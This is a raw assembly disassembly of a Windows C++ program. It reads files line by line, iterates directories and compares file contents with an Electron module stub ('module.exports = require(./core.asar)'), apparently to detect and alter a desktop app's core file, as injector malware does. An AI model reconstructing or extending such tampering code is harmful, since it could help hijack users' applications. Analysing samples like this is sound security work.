test rax, rax
mov rax, qword [rsp + 0x3e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x3e0]
je 0x1400151af
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400151bd
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x380], xmm0
mov qword [rsp + 0x390], r15
mov qword [rsp + 0x398], socket
mov byte [rsp + 0x380], 0
mov rax, qword [rsp + 0x3e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x3e0]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x3e0]
call fcn.1400179a0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
lea rcx, [rsp + 0x320]
test al, al
je 0x140015261
lea rdx, [rsp + 0x380]
cmp qword [rsp + 0x398], 0x10
cmovae rdx, qword [rsp + 0x380]
mov r8, qword [rsp + 0x390]
call fcn.140004fe0
jmp 0x1400151e4
mov rdi, qword [rsp + 0x330]
mov rbx, qword [rsp + 0x338]
cmp rbx, 0x10
cmovae rcx, qword [rsp + 0x320]
mov r8, rdi
mov eax, 0x28
cmp rdi, rax
cmova r8, rax
lea rdx, str.module.exports__require_._core.asar__
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400152d6
cmp rdi, 0x28
jne 0x1400152d6
lea rdx, [0x140026f48]
cmp qword [0x140026f60], 0x10
cmovae rdx, qword [0x140026f48]
mov r8, qword [0x140026f58]
lea rcx, [rsp + 0x4f0]
call fcn.140017b40
mov rbx, qword [rsp + 0x338]
mov rdx, qword [rsp + 0x398]
cmp rdx, 0x10
jb 0x140015324
inc rdx
mov rcx, qword [rsp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015317
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140015317
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
mov rbx, qword [rsp + 0x338]
cmp rbx, 0x10
jb 0x140015363
lea rdx, [rbx + 1]
mov rcx, qword [rsp + 0x320]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001535e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001535e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
mov qword [rsp + 0x330], r15
mov qword [rsp + 0x338], socket
mov byte [rsp + 0x320], 0
mov rax, qword [rsp + 0x4f0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x4f0], rsi
mov rax, qword [rsp + 0x4f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4ec], edx
lea rcx, [rsp + 0x4f8]
call fcn.140016660
lea rcx, [rsp + 0x500]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x598]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rsp + 0x3e0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x3e0], r14
mov rax, qword [rsp + 0x3e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x3dc], edx
lea rcx, [rsp + 0x3f0]
call fcn.140016660
lea rcx, [rsp + 0x3f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x490]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rbx, qword [rsp + 0x118]
jmp 0x140015442
mov rdx, qword [rsp + 0x318]
cmp rdx, 0x10
jb 0x140015488
inc rdx
mov rcx, qword [rsp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140015483
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
mov qword [rsp + 0x310], r15
mov qword [rsp + 0x318], socket
mov byte [rsp + 0x300], 0
mov rdx, qword [rsp + 0x2f8]
cmp rdx, 0x10
jb 0x1400154ea
inc rdx
mov rcx, qword [rsp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400154e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400154e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
mov qword [rsp + 0x2f0], r15
mov qword [rsp + 0x2f8], socket
mov byte [rsp + 0x2e0], 0
mov rdx, qword [rsp + 0x3b8]
cmp rdx, 8
jb 0x140015551
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001554c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001554c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
movdqa xmm0, xmmword [0x14001fc50]
movdqu xmmword [rsp + 0x3b0], xmm0
mov word [rsp + 0x3a0], r15w
mov rdx, qword [rsp + 0x378]
cmp rdx, 0x10
jb 0x1400155b2
inc rdx
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400155ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400155ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400155e8
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400155e3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001562e
mov rcx, r8
call fcn.140019e24
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
mov rcx, qword [rsp + 0x608]
xor rcx, rsp
call fcn.140019dc0
lea r11, [rsp + 0x630]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140012400
nop
mov ecx, eax
call fcn.140012760
int3
mov ecx, eax
call fcn.140012760
nop
lea r8, [rsp + 0x180]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.1400137f0
nop
lea r8, [rsp + 0x160]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.1400137f0
nop
lea r8, [rbx + 0x20]
lea rcx, str.directory_entry::status
call fcn.1400137f0
nop
lea r8, [rbx + 0x20]
lea rcx, str.directory_entry::status
call fcn.1400137f0
int3